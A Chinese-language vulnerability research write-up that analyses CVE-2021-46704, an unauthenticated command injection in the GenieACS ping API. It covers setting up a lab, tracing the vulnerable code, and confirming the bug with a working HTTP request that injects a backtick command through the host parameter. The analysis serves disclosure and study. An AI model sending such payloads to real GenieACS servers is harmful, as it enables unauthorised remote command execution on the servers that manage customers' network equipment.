暂无简介
简介
GenieACS是一个开源的TR-069远程管理解决方案。
漏洞参考披露信息CVE-2021-46704
In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.
TR-069知识
tr-069是CPE和ACS之间沟通的通讯协定,全称是CPE广域网管理协议,即就是CWMP(CPE WAN Management Protocol)。
TR069协议提供了对下一代网络中家庭网络设备进行管理配置的通用框架、消息规范、管理方法和数据模型。
其中CPE指的是用户终端设备,ACS指的是自动配置服务器。
tr069提供了一系列方法来实现ACS针对CPE的管理,参考TR-069协议介绍。
环境搭建
软件环境搭建
官网提供了详细的使用安装教程,可以跟着一步步来
尝试搜索了一下,发现有前人提供了docker部署方式
cd /opt && git clone https://github.com/DrumSergio/GenieACS-Docker && cd GenieACS-Docker
sudo docker pull drumsergio/genieacs:1.2.8
sudo docker-compose up -d
完成操作后,3000端口即可正常访问进入配置界面
点击按钮后就可以进入正常的登陆界面
至此,基础的运行环境搭建完成
因为这个漏洞影响1.2.8以下版本,所以需要安装老一点的版本,刚好也有大佬提供了docker 1.2.0的安装方式
然后一定要注意的此时有一个坑,需要将genieacs容器中/opt/genieacs/lib/config.ts中mongo的默认地址写成你的mongo的ip地址(不知道其他人会不会遇到,我在这里卡了很久才找到问题所在)
然后为了方便调试,将genieacs这个容器对外多加一个9000-9003端口用于调试
可以看出1.2.0这个版本在登陆界面上看不到版本号
调试环境踩坑
关于远程调试nodejs,有很多教程
主要思路都是在运行的时候node增加inspect参数,但是这要求我们需要我们找到启动的时候真正调用的所谓的server.js文件,在目标环境shell中查看进程
root@35fea11e1d0b:~# ps -ef
UID PIDPPID C STIME TTY TIME CMD
genieacs 1 0 0 03:41 ?00:00:09 /usr/bin/python2 /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf
genieacs 10 1 0 03:41 ?00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 11 1 0 03:41 ?00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-fs
genieacs 12 1 0 03:41 ?00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-nbi
genieacs 13 10 0 03:41 ?00:00:00 node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 15 11 0 03:41 ?00:00:00 node /opt/genieacs/dist/bin/genieacs-fs
genieacs 16 12 0 03:41 ?00:00:00 node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 46 15 0 03:41 ?00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs 48 15 0 03:41 ?00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs 49 15 0 03:41 ?00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs 55 15 0 03:41 ?00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs 77 16 0 03:41 ?00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 84 16 0 03:41 ?00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 89 16 0 03:41 ?00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 92 13 0 03:41 ?00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 97 13 0 03:41 ?00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 99 16 0 03:41 ?00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 100 13 0 03:41 ?00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 103 13 0 03:41 ?00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
root 230 0 0 03:41 pts/000:00:00 bash
genieacs 347 1 0 07:57 ?00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-ui
genieacs 348 347 0 07:57 ?00:00:00 node /opt/genieacs/dist/bin/genieacs-ui
genieacs 359 348 0 07:57 ?00:00:08 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-ui
genieacs 362 348 0 07:57 ?00:00:05 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-ui
genieacs 366 348 0 07:57 ?00:00:03 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-ui
genieacs 374 348 0 07:57 ?00:00:03 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-ui
root 429 230 0 13:04 pts/000:00:00 ps -ef
查看/etc/supervisor/conf.d/supervisord.conf
[supervisord]
nodaemon=true
user=genieacs
[program:genieacs-cwmp]
directory=/opt/genieacs
command=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-cwmp
stdout_logfile=/var/log/genieacs/genieacs-cwmp.log
stderr_logfile=/var/log/genieacs/genieacs-cwmp.log
autorestart=true
[program:genieacs-nbi]
directory=/opt/genieacs
command=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-nbi
stdout_logfile=/var/log/genieacs/genieacs-nbi.log
stderr_logfile=/var/log/genieacs/genieacs-nbi.log
autorestart=true
[program:genieacs-fs]
directory=/opt/genieacs
command=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-fs
stdout_logfile=/var/log/genieacs/genieacs-fs.log
stderr_logfile=/var/log/genieacs/genieacs-fs.log
autorestart=true
[program:genieacs-ui]
directory=/opt/genieacs
command=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-ui
stdout_logfile=/var/log/genieacs/genieacs-ui.log
stderr_logfile=/var/log/genieacs/genieacs-ui.log
autorestart=true
我们关注的显然是genieacs-ui
#!/usr/bin/env node
.......
尝试加上调试命令,将文件头部更改为
#!/usr/bin/env node --inspect-brk=0.0.0.0:9000
......
然后重启我的docker,重启完成后再查看进程发现已经以调试模式启动了
root@58a580aafc7f:/var/log/genieacs# ps -ef
UID PIDPPID C STIME TTY TIME CMD
genieacs 1 0 0 13:57 ?00:00:00 /usr/bin/python2 /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf
genieacs 10 1 0 13:57 ?00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 11 1 0 13:57 ?00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-fs
genieacs 12 1 0 13:57 ?00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-nbi
genieacs 13 10 0 13:57 ?00:00:00 node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 14 1 0 13:57 ?00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-ui
genieacs 15 11 0 13:57 ?00:00:00 node /opt/genieacs/dist/bin/genieacs-fs
genieacs 16 12 0 13:57 ?00:00:00 node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 27 14 99 13:57 ?00:14:55 /usr/bin/env node --inspect-brk=0.0.0.0:9000 /opt/genieacs/dist/bin/genieacs-ui
genieacs 40 15 0 13:57 ?00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs 45 15 0 13:57 ?00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs 46 16 0 13:57 ?00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 47 15 0 13:57 ?00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs 54 16 0 13:57 ?00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 56 16 0 13:57 ?00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 68 15 0 13:57 ?00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs 82 16 0 13:57 ?00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs 84 13 0 13:57 ?00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 99 13 0 13:57 ?00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 110 13 0 13:57 ?00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs 113 13 0 13:57 ?00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
root 180 0 0 13:57 pts/000:00:00 bash
root 187 180 0 14:12 pts/000:00:00 ps -ef
然后进入主机vscode中创建launch.json文件
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"type": "node",
"request": "attach",
"name": "Remote server",
"address": "*****",
"port": 9000,
"localRoot": "/*****/genieACS/genieacs/bin/genieacs-ui.ts",
"remoteRoot": "/opt/genieacs/dist/bin/genieacs-ui"
}
]
}
经过了这一番折腾,结果发现这个调试环境对于genieACS并不起作用,主要原因是因为genieACS要有一个混淆的过程,针对生成的文件并不能像普通的js一样调试
我最终解决办法是这样的,
修改lib/logger.ts文件,在尾部加入以下代码
export function mylog(Name, Value): void {
error({ message: "------0------" + Name + "-------0-------" })
error({ message: Value })
error({ message: "------1------" + Name + "-------1-------" })
}
当需要调试的时候使用logger.mylog(Name, Value)即可,打印的值可以在/var/log/genieacs/genieacs-ui.log中看到
另外在/opt/genieacs目录下创建debug.sh
npm run build
ps -ef | grep "node /opt/genieacs/dist/bin/genieacs-ui" | grep -v "/usr/local" | grep -v "grep" | awk '{print$2}' | xargs kill -9
每次在修改完代码后需要运行这个文件
不得不承认确实有点麻烦,但确实是我目前能力上能想到的解决办法了
我相信作者一定有更好的调试方法,或许可以提个issue问一下,如果观者有更好的方法欢迎提出
漏洞分析
CVE-2021-46704这个漏洞细节已经报的很清楚了,漏洞存在于 lib/ping.ts文件中
import { platform } from "os";
import { exec } from "child_process";
.......
export function ping(
host: string,
callback: (err: Error, res?: PingResult, stdout?: string) => void
): void {
let cmd: string, parseRegExp1: RegExp, parseRegExp2: RegExp;
switch (platform()) {
case "linux":
cmd = `ping -w 1 -i 0.2 -c 3 ${host}`;
parseRegExp1 = /(\d+) packets transmitted, (\d+) received, ([\d.]+)% packet loss[^]*([\d.]+)\/([\d.]+)\/([\d.]+)\/([\d.]+)/;
parseRegExp2 = /(\d+) packets transmitted, (\d+) received, ([\d.]+)% packet loss/;
break;
case "freebsd":
// Send a single packet because on FreeBSD only superuser can send
// packets that are only 200 ms apart.
cmd = `ping -t 1 -c 3 ${host}`;
parseRegExp1 = /(\d+) packets transmitted, (\d+) packets received, ([\d.]+)% packet loss\nround-trip min\/avg\/max\/stddev = ([\d.]+)\/([\d.]+)\/([\d.]+)\/([\d.]+) ms/;
parseRegExp2 = /(\d+) packets transmitted, (\d+) packets received, ([\d.]+)% packet loss/;
break;
default:
return callback(new Error("Platform not supported"));
}
exec(cmd, (err, stdout)
......
很明显,会将ping命令中host参数拼接到字符串中然后调用child_process.exec函数去执行
知道了漏洞点以后,尝试找一下触发路径,根据进程我们知道程序是使用node运行/opt/genieacs/dist/bin/genieacs-ui
/opt/genieacs/dist/bin/genieacs-ui这个文件是/bin/genieacs-ui.ts混淆生成的,所以直接去看相应文件
......
const _listener = (req, res): void => {
if (stopping) res.setHeader("Connection", "close");
listener(req, res);
};
const initPromise = Promise.all([db2.connect(), cache.connect()])
.then(() => {
server.start(SERVICE_PORT, SERVICE_ADDRESS, ssl, _listener);
})
.catch((err) => {
setTimeout(() => {
throw err;
});
});
......
geniesacs-ui.ts中开启了服务器,使用listener作为监听处理,listener相关定义在于lib/ui.ts中
......
router.post("/login", async (ctx) => {
if (!JWT_SECRET) {
ctx.status = 500;
ctx.body = "UI_JWT_SECRET is not set";
logger.error({ message: "UI_JWT_SECRET is not set" });
return;
}
......
router.get("/status", (ctx) => {
ctx.body = "OK";
});
.....
router.use("/api", api.routes(), api.allowedMethods());
.....
很明显代码中根据不同的urlpatten规范了不同的处理内容,根据漏洞公告明确知道漏洞肯定是出在api中,因此直接去查看api.routes(),尝试找到ping的具体处理路径,最终在lib/ui/api.ts中找到了相关定义
router.get("/ping/:host", async (ctx) => {
return new Promise((resolve) => {
ping(ctx.params.host, (err, parsed) => {
if (parsed) {
ctx.body = parsed;
} else {
ctx.status = 500;
ctx.body = `${err.name}: ${err.message}`;
}
resolve();
});
});
});
很明显会从get请求url中取出host的值,然后传入ping函数,进而造成命令执行,同时在调用路径上没有看到任何认证校验的存在,因此此漏洞还是一个认证前的命令执行
漏洞复现
GET /api/ping/`id>%2ftmp%2faaaaa` HTTP/1.1
Host: 172.16.113.160:3000
User-Agent: Mozilla
Accept: application/json, text/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://172.16.113.160:3000
Connection: close
Referer: http://172.16.113.160:3000/
回包:
HTTP/1.1 500 Internal Server Error
X-Config-Snapshot: fc1bdc5907edb1217fed62dd5425c464
GenieACS-Version: 1.2.0+20220915090845
Vary: Accept-Encoding
Content-Type: text/plain; charset=utf-8
Content-Length: 663
Date: Thu, 15 Sep 2022 09:48:20 GMT
Connection: close
Error: Command failed: ping -w 1 -i 0.2 -c 3 `id>/tmp/aaaaa`
Usage: ping [-aAbBdDfhLnOqrRUvV64] [-c count] [-i interval] [-I interface]
[-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
[-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
[-w deadline] [-W timeout] [hop1 ...] destination
Usage: ping -6 [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
[-l preload] [-m mark] [-M pmtudisc_option]
[-N nodeinfo_option] [-p pattern] [-Q tclass] [-s packetsize]
[-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline]
[-W timeout] destination
在目标中查看,/tmp/aaaaa中已经写入内容
root@5*****:/opt/genieacs# cat /tmp/aaaaa
uid=999(genieacs) gid=999(genieacs) groups=999(genieacs)
成功复现命令注入
- 本文作者: 1s1and
- 本文来源: 先知社区
- 原文链接: https://xz.aliyun.com/t/11722
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!